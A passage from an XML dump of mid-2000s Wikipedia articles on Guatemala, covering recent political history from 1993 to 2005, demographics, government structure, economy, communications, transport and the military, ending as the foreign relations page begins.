On [[June 5]], [[1993]],  Congress, pursuant to the 1985 constitution, elected the Human Rights Ombudsman, [[Ramiro de León Carpio]], to complete Serrano's presidential term. De León was not a member of any political party; lacking a political base but with strong popular support, he launched an ambitious anticorruption campaign to &quot;purify&quot; Congress and the Supreme Court, demanding the resignations of all members of the two bodies.

Despite considerable congressional resistance, presidential and popular pressure led to a November 1993 agreement brokered by the Catholic Church between the administration and Congress. This package of constitutional reforms was approved by popular referendum on [[January 30]], [[1994]]. In August 1994, a new Congress was elected to complete the unexpired term. Controlled by the anti-corruption parties &amp;mdash; the populist [[Guatemalan Republican Front]] (FRG) headed by Ríos Montt, and the center-right [[National Advancement Party]] (PAN) &amp;mdash; the new Congress began to move away from the corruption that characterized its predecessors.

Under de León, the peace process, now brokered by the United Nations, took on new life. The government and the URNG signed agreements on human rights (March 1994), resettlement of displaced persons (June 1994), historical clarification (June 1994), and indigenous rights (March 1995). They also made significant progress on a socioeconomic and agrarian agreement.

National elections for president, Congress, and municipal offices were held in November 1995. With almost 20 parties competing in the first round, the presidential election came down to a [[January 7]], [[1996]] runoff in which PAN candidate [[Álvaro Arzú|Álvaro Arzú Irigoyen]] defeated [[Alfonso Portillo Cabrera]] of the FRG by just over 2% of the vote. Arzú won because of his strength in Guatemala City, where he had previously served as mayor, and in the surrounding urban area. Portillo won all of the rural departments except Petén. Under the Arzú administration, peace negotiations were concluded, and the government signed peace accords ending the 36-year internal conflict in December 1996. (See section on peace process) The human rights situation also improved during Arzú's tenure, and steps were taken to reduce the influence of the military in national affairs.

Guatemala held presidential, legislative, and municipal elections on [[November 7]], [[1999]], and a runoff presidential election on [[December 26]]. In the first round the [[Guatemalan Republican Front]] (FRG) won 63 of 113 legislative seats, while the [[National Advancement Party]] (PAN) won 37. The New Nation Alliance (ANN) won 9 legislative seats, and three minority parties won the remaining four. In the runoff on December 26, [[Alfonso Portillo]] (FRG) won 68% of the vote to 32% for [[Óscar Berger]] (PAN). Portillo carried all 22 departments and Guatemala City, which was considered the PAN's stronghold.

Portillo was criticized during the campaign for his relationship with the FRG's chairman, Ríos Montt. Many charge that some of the worst human rights violations of the internal conflict were committed under Ríos Montt's rule. Nevertheless, Portillo's impressive electoral triumph, with two-thirds of the vote in the second round, gave him a claim to a mandate from the people to carry out his reform program.

President Portillo pledged to maintain strong ties to the [[United States]], further enhance Guatemala's growing cooperation with [[Mexico]], and participate actively in the integration process in Central America and the Western Hemisphere. Domestically, he vowed to support continued liberalization of the economy, increase investment in human capital and infrastructure, establish an independent central bank, and increase revenue by stricter enforcement of tax collections rather than increasing taxation. Portillo also promised to continue the peace process, appoint a civilian defense minister, reform the armed forces, replace the military presidential security service with a civilian one, and strengthen protection of human rights. He appointed a pluralist cabinet, including indigenous members and others not affiliated with the FRG ruling party.

== The 21st Century ==

Progress in carrying out Portillo's reform agenda during his first year in office was slow. As a result, public support for the government sank to nearly record lows by early [[2001]]. Although the administration made progress on such issues as taking state responsibility for past human rights cases and supporting human rights in international fora, it failed to show significant advances on combating impunity in past human rights cases, military reforms, a fiscal pact to help finance peace implementation, and legislation to increase political participation.

Faced with a high crime rate, a public corruption problem, often violent harassment and intimidation by unknown assailants of human rights activists, judicial workers, journalists, and witnesses in human rights trials, the government began serious attempts in 2001 to open a national dialogue to discuss the considerable challenges facing the country.

In [[July 2003]], demonstrations rocked the capital, forcing the closing of the US Embassy, as supporters of Ríos Montt called for his return to power. His supporters demanded that the nation's courts to overturn a ban against former coup leaders so that he could run as a presidential candidate in the 2003 elections. The supporters were given meals by FRG in return for protesting.  

On [[November 9]], [[2003]], [[Óscar Berger]], the ex-mayor of Guatemala city, won the presidential election with 38.8% of the vote. However, because he failed to achieve a fifty percent majority, he fought and won an additional [[December 28]] runoff election between  him and the center-left candidate Álvaro Colom. Ríos Montt trailed a distant third with just 11%.

In early [[October]] [[2005]], Guatemala was devastated by [[Hurricane Stan]], a relatively weak storm that triggered a flooding disaster that has left hundreds, and possibly thousands, of people dead.

==Resources==
===External links===
*[http://www.state.gov/r/pa/ei/bgn/2045.htm Background Note: Guatemala] - Information from the US State Department
*[http://www.historyofnations.net/northamerica/guatemala.html History of Guatemala] - A general overview to the history of Guatemala.
* [http://www.newadvent.org/cathen/07054a.htm Santiago de Guatemala]

===Notes===
* &lt;cite id=&quot;fn_1&quot;&gt;[[#fn_1_back|Note 1:]] &lt;/cite&gt; {{cite book | author=Cullather, Nick | title=Secret History: The CIA's classified account of its operations in Guatemala, 1952-1954 | publisher=Standform University Press | year=1999 | id=ISBN 0804733112}}, pg 17, quoting [[Allen Dulles]]
* &lt;cite id=&quot;fn_2&quot;&gt;[[#fn_2_back|Note 2:]] &lt;/cite&gt; {{cite book | author=Cullather, Nick | title=Secret History: The CIA's classified account of its operations in Guatemala, 1952-1954 | publisher=Standform University Press | year=1999 | id=ISBN 0804733112}}, pg 106
* &lt;cite id=&quot;fn_3&quot;&gt;[[#fn_3_back|Note 3:]] &lt;/cite&gt; - http://www.coha.org/NEW_PRESS_RELEASES/Matt%20Ward/MW_Appendix_A.htm

===Further reading===
*Paul J. Dosal, ''Doing Business with the Dictators: A Political History of United Fruit in Guatemala 1899-1944'', Wilmington, De., Scholarly Resources 1993
*Greg Grandin, ''The Last Colonial Massacre: Latin America in the Cold War'', Chicago 2004
*Immerman, R. H., ''The CIA in Guatemala: The Foreign Policy of Intervention'', University of Texas Press: Austin, 1982.
*Walter LaFeber, ''Inevitable Revolutions: The United States in Central America''.  New York: W.W. Norton &amp; Company, 1993.
*Piero Gleijeses, ''Shattered Hope: The Guatemalan Revolution and the United States, 1944-1954''. Princeton University Press, 1991
*Victoria Sanford, ''Buried secrets : truth and human rights in Guatemala'', New York [u.a.] : Palgrave Macmillan, 2003
*Stephen Schlesinger, Stephen Kinzer, ''Bitter Fruit: The Untold Story of the American Coup in Guatemala'', Garden City, NY : Doubleday, 1982 
* {{cite book | author=Cullather, Nick | title=Secret History: The CIA's classified account of its operations in Guatemala, 1952-1954 | publisher=Standform University Press | year=1999 | id=ISBN 0804733112}}

[[Category:History of Guatemala|*]]

[[de:Geschichte Guatemalas]]
[[es:Historia de Guatemala]]
[[fr:Histoire du Guatemala]]
[[pt:História da Guatemala]]</text>
    </revision>
  </page>
  <page>
    <title>Guatemala/Geography</title>
    <id>12158</id>
    <revision>
      <id>15909862</id>
      <timestamp>2002-06-16T22:24:58Z</timestamp>
      <contributor>
        <username>Danny</username>
        <id>584</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Geography of Guatemala]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Guatemala</title>
    <id>12159</id>
    <revision>
      <id>41587529</id>
      <timestamp>2006-02-28T09:07:45Z</timestamp>
      <contributor>
        <username>CJLL Wright</username>
        <id>259138</id>
      </contributor>
      <minor />
      <comment>dab Xinca--&gt;Xinca language</comment>
      <text xml:space="preserve">According to the CIA World Fact Book, Mestizos (mixed Amerindian-Spanish - in local Spanish called Ladino) and Europeans comprise 59.4% of the population and Amerindians comprise 40.5% of the population (K'iche 9.1%, Kaqchikel 8.4%, Mam 7.9%, Q'eqchi 6.3%, other Mayan 8.6%, indigenous non-Mayan 0.2%, other 0.1%).  

CIA World Fact Book - http://www.cia.gov/cia/publications/factbook/geos/gt.html

Most of Guatemala's population is rural, though [[urbanization]] is accelerating. The predominant religion is [[Roman Catholicism]], into which many indigenous Guatemalans have incorporated traditional forms of worship. [[Protestantism]] and traditional [[Maya mythology|Maya religions]] are practiced by an estimated 40% and 1% of the population, respectively.

Though the official language is [[Spanish language|Spanish]], it is not universally understood among the indigenous population. However, the Peace Accords signed in December 1996 provide for the translation of some official documents and voting materials into several indigenous languages (see summary of main substantive accords).

[[Image:Guatemala demography.png|thumb|450px|right|Population growth 1961-2003, as reported by [[Food and Agriculture Organization|FAO]], [[2005]]. Population numbers are in thousands.]]

'''[[Population]]:'''
12,639,939 (July 2000 est.)

'''Age structure:'''
&lt;br&gt;''0-14 years:''
42% (male 2,735,107; female 2,622,412)
&lt;br&gt;''15-64 years:''
54% (male 3,411,575; female 3,413,932)
&lt;br&gt;''65 years and over:''
4% (male 213,791; female 243,122) (2000 est.)

'''Population growth rate:'''
2.63% (2000 est.)

'''[[Birth rate]]:'''
35.05 births/1,000 population (2000 est.)

'''[[Death]] rate:'''
6.92 deaths/1,000 population (2000 est.)

'''Net [[migration]] rate:'''
-1.89 migrant(s)/1,000 population (2000 est.)

'''Sex ratio:'''
&lt;br&gt;''at birth:''
1.05 male(s)/female
&lt;br&gt;''under 15 years:''
1.04 male(s)/female
&lt;br&gt;''15-64 years:''
1 male(s)/female
&lt;br&gt;''65 years and over:''
0.88 male(s)/female
&lt;br&gt;''total population:''
1.01 male(s)/female (2000 est.)

'''[[Infant mortality]] rate:'''
47.03 deaths/1,000 live births (2000 est.)

'''[[Life expectancy]] at birth:'''
&lt;br&gt;''total population:''
66.18 years
&lt;br&gt;''male:''
63.53 years
&lt;br&gt;''female:''
68.96 years (2000 est.)

'''Total [[fertility]] rate:'''
4.66 children born/woman (2000 est.)

'''[[Nationality]]:'''
&lt;br&gt;''noun:''
Guatemalan(s)
&lt;br&gt;''adjective:''
Guatemalan

'''[[Ethnic group]]s:'''
Mestizo (mixed Amerindian-Spanish - in local Spanish called Ladino) and European 59.4%, K'iche 9.1%, Kaqchikel 8.4%, Mam 7.9%, Q'eqchi 6.3%, other Mayan 8.6%, indigenous non-Mayan 0.2%, other 0.1% (2001 census)


'''[[Religion]]s:'''
Roman Catholic, Protestant, indigenous Mayan beliefs

'''[[Language]]s:'''
Spanish 60%, Amerindian languages 40% (more than 20 Amerindian languages, including [[Quiché]], [[Cakchiquel]], [[Kekchi]], [[Mam language|Mam]], [[Garifuna]], and [[Xinca language|Xinca]])

'''[[Literacy]]:'''
&lt;br&gt;''definition:''
age 15 and over can read and write
&lt;br&gt;''total population:''
55.6%
&lt;br&gt;''male:''
62.5%
&lt;br&gt;''female:''
48.6% (1995 est.)

[[Category:Guatemalan society]]
[[Category:Demographics by country|Guatemala]]

[[es:Demografía de Guatemala]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Guatemala</title>
    <id>12160</id>
    <revision>
      <id>39961097</id>
      <timestamp>2006-02-17T02:55:41Z</timestamp>
      <contributor>
        <username>JerryFriedman</username>
        <id>35055</id>
      </contributor>
      <minor />
      <comment>/* Flag description */ Resplendent Quetzal now has a separate page</comment>
      <text xml:space="preserve">{{Politics of Guatemala}}
__TOC__
(See [[Guatemala election, 2003]])

== Government ==

[[Guatemala]]'s [[1985]] constitution provides for a separation of powers among the executive, legislative, and judicial branches of government. The [[1993]] constitutional reforms included an increase in the number of Supreme Court justices from 9 to 13. The terms of office for [[President of Guatemala|president]], vice president, and congressional representatives were reduced from 5 years to 4 years; for Supreme Court justices from 6 years to 5 years, and increased the terms of mayors and city councils from 2 1/2 to 4 years.

The president and vice president are directly elected through universal suffrage and limited to one term. A vice president can run for president after 4 years out of office. Supreme Court justices are elected by the [[Congress of Guatemala|Congress]] from a list submitted by the bar association, law school deans, a university rector, and appellate judges. The Supreme Court and local courts handle civil and criminal cases. There also is a Constitutional Court.

Guatemala has 22 administrative subdivisions ([[Departments of Guatemala|departments]]) administered by governors appointed by the president. [[Guatemala City]] and 332 other municipalities are governed by popularly elected mayors or councils.

== Political conditions ==
The [[1999]] presidential and legislative elections were considered by international observers to have been free and fair. Participation by women and indigenous voters was higher than in the recent past, although concerns remained regarding the accessibility of polling places in rural areas.

[[Alfonso Antonio Portillo Cabrera|Alfonso Portillo]]'s landslide victory combined with a [[Guatemalan Republican Front]] (FRG) majority in congress suggested possibilities for rapid legislative action. However, under the Guatemalan Constitution of 1985, passage of many kinds of legislation requires a two-thirds vote. Passage of such legislation is not possible, therefore, with FRG votes alone.

The political balance was disrupted in 2000 when allegations surfaced that the FRG had illegally altered legislation. Following an investigation, the Supreme Court stripped those involved, including President of Congress and FRG chief [[Efraín Ríos Montt|Ríos Montt]], of their legislative immunity to face charges in the case. At roughly the same time, the PAN opposition suffered an internal split and broke into factions; the same occurred in the ANN. As a result, reforms essential to peace implementation await legislative action.

New cases of human rights abuse continued to decline, although violent harassment of human rights workers presented a serious challenge to government authority. Common crime, aggravated by a legacy of violence and vigilante justice, presents another serious challenge. Impunity remains a major problem, primarily because democratic institutions, including those responsible for the administration of justice, have developed only a limited capacity to cope with this legacy. The government has stated it will require until 2002 to meet the target of increasing its tax burden (at about 10% of GDP, currently the lowest in the region) to 12% of GDP.

==Country name==
&lt;br&gt;''Conventional long form:''
Republic of Guatemala
&lt;br&gt;''Conventional short form:''
Guatemala
&lt;br&gt;''Local long form:''
República de Guatemala
&lt;br&gt;''Local short form:''
Guatemala

===Data code===
GT

===Government type===
constitutional democratic republic

===Capital===
[[Guatemala City]]

===Administrative divisions===
22 departments (departamentos, singular - departamento); [[Alta Verapaz]], [[Baja Verapaz]], [[Chimaltenango]], [[Chiquimula]], [[Escuintla Department|Escuintla]], [[Guatemala Department|Guatemala]], [[Huehuetenango Department|Huehuetenango]], [[Izabal]], [[Jalapa Department|Jalapa]], [[Jutiapa Department|Jutiapa]], [[Petén]], [[El Progreso Department|El Progreso]], [[Quetzaltenango Department|Quetzaltenango]], [[El Quiché]], [[Retalhuleu Department|Retalhuleu]], [[Sacatepéquez]], [[San Marcos Department|San Marcos]], [[Santa Rosa Department, Guatemala|Santa Rosa]], [[Sololá Department|Sololá]], [[Suchitepequez Department|Suchitepequez]], [[Totonicapán Department|Totonicapán]], [[Zacapa Department|Zacapa]].

=== Independence: ===

[[15 September]] [[1821]] (from [[Spain]])

=== National holiday: ===
Independence Day, [[15 September]] ([[1821]])

=== Constitution: ===
[[31 May]] [[1985]], effective [[14 January]] [[1986]]

Note: suspended [[25 May]] [[1993]] by former President [[Jorge Antonio Serrano Elías|Serrano Elías]]; reinstated [[5 June]] [[1993]] following ouster of president; amended November 1993

See a spanish transcript of the [[Guatemala Constitution]] with 1993 reforms.

===Legal system===
civil law system; judicial review of legislative acts; has not accepted compulsory ICJ jurisdiction

===Suffrage===
18 years of age; universal (active duty members of the armed forces may not vote)

==Executive branch==
===Chief of State===
[[President of Guatemala|President]] [[Óscar José Rafael Berger Perdomo]] (since [[14 January]] [[2004]]); [[Vice President of Guatemala|Vice President]] [[Eduardo Stein Barillas]] (since [[14 January]] [[2004]]). Note &amp;ndash; the president is both the chief of state and head of government

===cabinet===
Council of Ministers named by the president.

Actual Ministers (January 14 2004 - incumbent)

Foreign Affairs Ministry - Jorge Briz Abularach,
Education Ministry - Maria Del Carmen Aceña,
Interior Ministry - Carlos Vielmann,
Defense Ministry - Gral.Francisco Bermudez,
Finance Ministry - Maria Antonieta de Bonilla,
Energy Ministry - Luis Ortiz,
Economy Ministry - Marcio Cuevas,
Public Health Ministry - Marco Tulio Sosa,
Labor Ministry - Jorge Gallardo,
Agriculture Ministry - Alvaro Aguilar,
Communications And Infrastructure Ministry- Eduardo Castillo,
Executive Secretary Of The Presidency - Eduardo Gonzales,
Secretary Of Tourism - Dan Mooney,
Secretary Of Social Development - Luis Flores Asturias

===Elections===
President elected by popular vote for a four-year term; election last held [[9 November]] [[2003]]; runoff held [[28 December]] [[2003]].  See [[Guatemala election, 2003]]. Next to be held NA November 2007. 

===election results===
Oscar BERGER Perdomo elected president; percent of vote - Oscar BERGER Perdomo (GANA) 54.1%, [[Álvaro Colom]] (UNE) 45.9% 

==Legislative branch==
[[Unicameral]] [[Congress of the Republic of Guatemala|Congress of the Republic]] or ''Congreso de la República'' (158 seats; members are elected by popular vote to serve four-year terms)

===Elections===
last held [[9 November]] [[2003]] (next to be held November 2007) 

===Election results===
percent of vote by party - NA; seats by party - GANA 49, FRG 41, UNE 33, PAN 17, other 18 

Note: for the [[9 November]] [[2003]] election, the number of congressional seats increased from 113 to 158 

==Judicial branch==
Constitutional Court or Corte de Constitutcionalidad is Guatemala's highest court (five judges are elected for concurrent five-year terms by Congress, each serving one year as president of the Constitutional Court; one is elected by Congress, one elected by the Supreme Court of Justice, one appointed by the President, one elected by Superior Counsel of Universidad San Carlos de Guatemala, and one by Colegio de Abogados); Supreme Court of Justice or Corte Suprema de Justicia (thirteen members serve concurrent five-year terms and elect a president of the Court each year from among their number; the president of the Supreme Court of Justice also supervises trial judges around the country, who are named to five-year terms) 

==Political parties==
''See [[List of political parties in Guatemala]].

==Political pressure groups and leaders==
Agrarian Owners Group or UNAGRO; Alliance Against Impunity or AAI; Committee for Campesino Unity or CUC; Coordinating Committee of Agricultural, Commercial, Industrial, and Financial Associations or CACIF; Mutual Support Group or GAM

==International organization participation==
BCIE, CACM, FAO, G-24, G-77, IADB, IAEA, IBRD, ICAO, ICFTU, ICRM, IDA, IFAD, IFC, IFRCS, IHO, ILO, IMF, IMO, Interpol, IOC, IOM, ISO (correspondent), ITU, LAES, LAIA (observer), MIGA, MINUSTAH, NAM, OAS, ONUB, OPANAL, OPCW, PCA, UN, UNCTAD, UNESCO, UNIDO, UNOCI, UPU, WCL, WCO, WFTU, WHO, WIPO, WMO, WToO, WTO 

==Flag description==
Three equal vertical bands of light blue (hoist side), white, and light blue with the coat of arms centered in the white band; the coat of arms includes a green and red [[Resplendent Quetzal|quetzal]] (the national bird) and a scroll bearing the inscription LIBERTAD 15 DE SEPTIEMBRE DE 1821 (the original date of independence from Spain) all superimposed on a pair of crossed rifles and a pair of crossed swords and framed by a wreath. See [[Flag of Guatemala]].

==See also==
*[[Guatemala]]
*[[Central American Parliament]]

[[Category:Politics of Guatemala| ]]

[[fr:Politique du Guatemala]]
[[pt:Política da Guatemala]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Guatemala</title>
    <id>12161</id>
    <revision>
      <id>41351038</id>
      <timestamp>2006-02-26T19:56:33Z</timestamp>
      <contributor>
        <username>Gene.arboit</username>
        <id>278325</id>
      </contributor>
      <comment>fr:</comment>
      <text xml:space="preserve">{{CIA}}
[[Guatemala]]'s [[Gross domestic product]] for 2000 was estimated at $19.0 billion, with real growth slowing to approximately 3.3%. After the signing of the final peace accord in December [[1996]], Guatemala was well-positioned for rapid economic growth over the next several years.

Guatemala's economy is dominated by the private sector, which generates about 85% of GDP. Agriculture contributes 23% of GDP and accounts for 75% of exports. Most manufacturing is light assembly and food processing, geared to the domestic, [[United States|U.S.]], and [[Central America]]n markets. Over the past several years, tourism and exports of textiles, apparel, and nontraditional agricultural products such as winter vegetables, fruit, and cut [[flower]]s have boomed, while more traditional exports such as [[sugar]], [[banana]]s, and [[coffee]] continue to represent a large share of the export market.

The United States is the country's largest trading partner, providing 41% of Guatemala's imports and receiving 34% of its exports. The government sector is small and shrinking, with its business activities limited to public utilities--some of which have been [[privatization|privatized]]--ports and airports and several development-oriented financial institutions. Guatemala was certified to receive export trade benefits under the United States' [[Caribbean Basin Trade and Partnership Act]] (CBTPA) in October [[2000]], and enjoys access to U.S. [[Generalized System of Preferences]] (GSP) benefits. Due to concerns over serious worker rights protection issues, however, Guatemala's benefits under both the CBTPA and GSP are currently under review.

Current economic priorities include:
* [[liberalization|Liberalizing]] the trade regime;
* Financial services sector reform;
* Overhauling Guatemala's public finances;
* Simplifying the [[tax]] structure, enhancing tax compliance, and broadening the tax base.
* Improving the investment climate through procedural and regulatory simplification and adopting a goal of concluding treaties to protect investment and [[intellectual property]] rights.

Import tariffs have been lowered in conjunction with Guatemala's Central American neighbors so that most fall between 0% and 15%, with further reductions planned. Responding to Guatemala's changed political and economic policy environment, the international community has mobilized substantial resources to support the country's economic and social development objectives. The United States, along with other donor countries--especially [[France]], [[Italy]], [[Spain]], [[Germany]], [[Japan]], and the international financial institutions--have increased development project financing. Donors' response to the need for international financial support funds for implementation of the Peace Accords is, however, contingent upon Guatemalan government reforms and counterpart financing.

Problems hindering economic growth include high [[crime]] rates, [[literacy|illiteracy]] and low levels of [[education]], and an inadequate and underdeveloped capital market. They also include lack of [[infrastructure]], particularly in the transportation, [[telecommunication]]s, and electricity sectors, although the state telephone company and electricity distribution were privatized in [[1998]]. The distribution of income and wealth remains highly skewed. The wealthiest 10% of the population receives almost one-half of all income; the top 20% receives two-thirds of all income. As a result, approximately 80% of the population lives in [[poverty]], and two-thirds of that number live in extreme poverty. Guatemala's social indicators, such as infant mortality and illiteracy, are among the worst in the hemisphere.

In 2005 Guatemala ratified its signature to the [[Dominican Republic-Central America Free Trade Agreement|Dominican Republic-Central America Free Trade Agreement (DR-CAFTA)]] between the [[United States of America]] and several other Central American countries.

==Statistics==

'''GDP:''' purchasing power parity - $56.5 billion (2003 est.)

'''GDP - real growth rate:''' 2.1% (2003 est.)

'''GDP - per capita:''' purchasing power parity - $4,100 (2003 est.)

'''GDP - composition by sector:'''&lt;br&gt;
''agriculture:'' 22.5%&lt;br&gt;
''industry:'' 18.9%&lt;br&gt;
''services:'' 58.5% (2003 est.)

'''Population below poverty line:''' 56% (2004 est.)

'''Household income or consumption by percentage share:'''&lt;br&gt;
''lowest 10%:'' 1.6%&lt;br&gt;
''highest 10%:'' 46% (1998)

'''Inflation rate (consumer prices):''' 5.5% (2003 est.)

'''Labor force:'''  3.84 million (2003 est.)

'''Labor force - by occupation:''' agriculture 50%, industry 15%, services 35% (1999 est.)

'''Unemployment rate:''' 7.5% (2003 est.)

'''Agriculture - products:''' sugarcane, [[maize]], bananas, coffee, beans, [[cardamom]], [[cattle]], [[domestic sheep|sheep]], [[pig]]s, [[chicken]]s

'''Industries:''' sugar, textiles and clothing, [[furniture]], chemicals, [[petroleum]], metals, [[rubber]], [[tourism]]

'''Electricity - production:''' 6,237 GWh (2001)

'''Electricity - production by source:'''&lt;br&gt;
''fossil fuel:'' 26.42%&lt;br&gt;
''hydro:'' 66.61%&lt;br&gt;
''nuclear:'' 0%&lt;br&gt;
''other:'' 6.97% (1998)

'''Electricity - consumption:''' 5,559 GWh (2001)

'''Electricity - exports:''' 336 GWh (2001)

'''Electricity - imports:''' 95 GWh (2001)

'''Oil - production:''' 21,080 barrel/day (2001 est.)

'''Oil - consumption:''' 61,000 barrel/day (2001 est.)

'''Oil - proved reserves:''' 263 million barrel ([[1 January]] [[2002]])

'''Natural gas - proved reserves:''' 1.543 billion m&amp;sup3; ([[1 January]] [[2002]])

'''Exports:''' $2.763 billion f.o.b. (2003 est.)

'''Exports - commodities:''' coffee, sugar, bananas, fruits and vegetables, cardamom, meat, apparel, petroleum, [[electricity]]

'''Exports - partners:''' US 56.7%, El Salvador 10.8%, Nicaragua 3.6% (2003)

'''Imports:''' $4.5 billion (c.i.f., 1999)

'''Imports - commodities:''' fuels, machinery and transport equipment, construction materials, grain, fertilizers, electricity

'''Imports - partners:''' US 34.1%, Mexico 8.8%, South Korea 7.8%, El Salvador 6.4%, China 4.6% (2003)

'''Debt - external:''' $4.957 billion (2003 est.)

'''Economic aid - recipient:''' $250 million (2000 est.)

'''Currency:''' 1 quetzal (Q) = 100 centavos

'''Exchange rates:''' quetzales per US dollar - 7.9409 (2003), 7.8216 (2002), 7.8586 (2001), 7.7632 (2000), 7.3856 (1999)

'''Fiscal year:''' calendar year

{{WTO}}

[[Category:WTO members|Guatemala]]
[[Category:Economy of Guatemala| ]]
 

[[es:Economía de Guatemala]]
[[fr:Économie du Guatemala]]
[[pt:Economia da Guatemala]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Guatemala</title>
    <id>12162</id>
    <revision>
      <id>31824706</id>
      <timestamp>2005-12-18T07:19:13Z</timestamp>
      <contributor>
        <username>Alfiboy</username>
        <id>219382</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
665,061 (2000)
&lt;br&gt;Approximately 1,200,000 (October 2005)

'''Telephones - mobile cellular:'''
663,296 (2000)
&lt;br&gt;Approximately 3,500,000 (October 2005)
&lt;br&gt;Operators:  Telmex (PCS Digital), Telefónica, Millicom (Comcel)

'''Telephone system:'''
fairly modern network centered in the city of [[Guatemala City|Guatemala]]
&lt;br&gt;''domestic:''
NA
&lt;br&gt;''international:''
connected to [[Central American Microwave System]]; satellite earth station - 1 [[Intelsat]] ([[Atlantic Ocean]])

'''[[Radio]] [[broadcasting|broadcast]] stations:'''
[[AM radio|AM]] 130, [[FM]] 487, [[shortwave]] 15 (2000)

'''Radios:'''
835,000 (1997)

'''[[Television]] broadcast stations:'''
26 (plus 27 repeaters) (1997)

'''Televisions:'''
640,000 (1997)

'''[[Internet Service Provider]]s (ISPs):'''
5 (2000)

'''Internet Users:'''
200,000 (2002)

'''[[Country code]] (Top-level domain):''' GT

==Online newspapers==
*http://www.prensalibre.com/
*http://www.sigloxxi.com/		

==See also==
*[[Guatemala]]



----
Source:  [http://www.prensalibre.com.gt/pl/2005/noviembre/07/127185.html Source for telephone numbers - prensalibre.com.gt]

[[Category:Communications in Guatemala| ]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in Guatemala</title>
    <id>12163</id>
    <revision>
      <id>32575448</id>
      <timestamp>2005-12-24T07:45:44Z</timestamp>
      <contributor>
        <ip>71.135.236.78</ip>
      </contributor>
      <comment>/* Highways */</comment>
      <text xml:space="preserve">'''Transportation In [[Guatemala]]'''

== Railways ==
&lt;br&gt;''total:''
884 km (102 km privately owned)
&lt;br&gt;''narrow gauge:''
884 km 0.914-m gauge (single track)

=== Railway links with adjacent countries ===

* [[Transportation in Mexico|Mexico]] - yes - [[break-of-gauge]] 914mm/1435mm
* [[Transportation in Belize|Belize]] - no
* [[Transportation in Honduras|Honduras]] - none in use
* [[Transportation in El Salvador|El Salvador]] - none in use

== Highways ==
&lt;br&gt;''total:''
13,100 km
&lt;br&gt;''paved:''
3,616 km (including 140 km of expressways)
&lt;br&gt;''unpaved:''
9,484 km (1996 est.)
guatemala

== Waterways ==
260 km navigable year round; additional 730 km navigable during high-water season

== Pipelines ==
crude oil 275 km

== Ports and harbors ==
=== Atlantic Ocean ===
* [[Puerto Barrios]], [[Santo Tomás de Castilla]]

=== Pacific Ocean ===
* [[Champerico]], [[Puerto Quetzal]], [[Puerto San José]]

== Merchant marine ==
none (1999 est.)

== Airports ==
477 (1999 est.)

=== Airports - with paved runways ===
&lt;br&gt;''total:''
11
&lt;br&gt;''2,438 to 3,047 m:''
3
&lt;br&gt;''1,524 to 2,437 m:''
1
&lt;br&gt;''914 to 1,523 m:''
5
&lt;br&gt;''under 914 m:''
2 (1999 est.)

=== Airports - with unpaved runways ===
&lt;br&gt;''total:''
466
&lt;br&gt;''2,438 to 3,047 m:''
1
&lt;br&gt;''1,524 to 2,437 m:''
9
&lt;br&gt;''914 to 1,523 m:''
124
&lt;br&gt;''under 914 m:''
332 (1999 est.)

== See also ==

* [[Guatemala]]


[[Category:Transportation in Guatemala|*]]

== Getting Around ==
[[Image:lanchas.jpg|thumbnail|300px|left|Lanchas in Rio Dulce, Guatemala]]
'''Gound Transportation'''
&lt;br&gt;In Guatemala, one can travel by micro-bus when traveling to towns near by.  When traveling to distant town, charter buses are available. Rail travel is limited.

&lt;br&gt;'''By Air'''
&lt;br&gt;Guatemala's Airline (TikalJets) offers non-stop service to Flores (Tikal).

&lt;br&gt;'''Note''': Boats &amp; other forms of transportation are available in certain regions.</text>
    </revision>
  </page>
  <page>
    <title>Military of Guatemala</title>
    <id>12164</id>
    <revision>
      <id>40434208</id>
      <timestamp>2006-02-20T14:50:17Z</timestamp>
      <contributor>
        <username>Mjuarez</username>
        <id>82156</id>
      </contributor>
      <minor />
      <comment>Added link to the official Guatemala military webpage</comment>
      <text xml:space="preserve">[[Guatemala]] is a signatory to the [[Rio Pact]] and is a member of the [[Central American Defense Council]] (CONDECA). The [[President of Guatemala|President of the Republic]] is commander in chief. The [[Ministry of Defence of Guatemala|Minister of Defense]] is responsible for policy. Day-to-day operations are the responsibility of the military chief of staff and the national defense staff.

An agreement signed in September [[1996]], which is one of the substantive peace accords, mandated that the mission of the armed forces change to focus exclusively on external threats. However, both former president [[Álvaro Enrique Arzú Irigoyen]] and his successor president [[Alfonso Portillo]] have used a constitutional clause to order the army on a temporary basis to support the police in response to a nationwide wave of violent crime.

The accord calls for a one-third reduction in the army's authorized strength and budget &amp;mdash; already achieved &amp;mdash; and for a constitutional amendment to permit the appointment of a civilian minister of defense. A constitutional amendment to this end was defeated as part of a May [[1999]] plebiscite, but discussions between the executive and legislative branches continue on how to achieve this objective.

The army has met its accord-mandated target of 28,000 troops, including subordinate air force (1,000) and navy (1,000) elements. It is equipped with armaments and material from the [[United States]], [[Israel]], [[Socialist Federal Republic of Yugoslavia|Yugoslavia]], [[Republic of China|Taiwan]], [[Argentina]], [[Spain]], and [[France]]. As part of the army downsizing, the operational structure of 19 military zones and three strategic brigades are being recast as several military zones are eliminated and their area of operations absorbed by others. The air force operates three air bases; the navy has two port bases.

The Guatemalan army has a special forces unit (specializing in anti-insurgent jungle warfare)  known as the [[Kaibiles]]. 

==Military branches==
Army, Navy (includes Marines) and [[Guatemalan Air Force|Air Force]]

==Military manpower==
Military age: 18 years of age

Males aged 15 to 49: 3,186,894 (2002 est.)

Males fit for military service aged 15 to 49: 2,080,504 (2002 est.)

Males reaching military age annually: 140,358 (2002 est.)

==Military expenditures==
Total: [[USD]] $120 million (FY99)

As a percent of GDP: 0.6% (FY99)

==References==
* [[http://www.mindef.mil.gt/index1.html Official Website of Guatemala's Military]]

[[Category:Military of Guatemala| ]]

[[es:Fuerzas Armadas de Guatemala]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Guatemala</title>
    <id>12165</id>
    <revision>
      <id>40740469</id>
      <timestamp>2006-02-22T18:30:57Z</timestamp>
      <contributor>
        <ip>200.49.172.70</ip>
      </contributor>
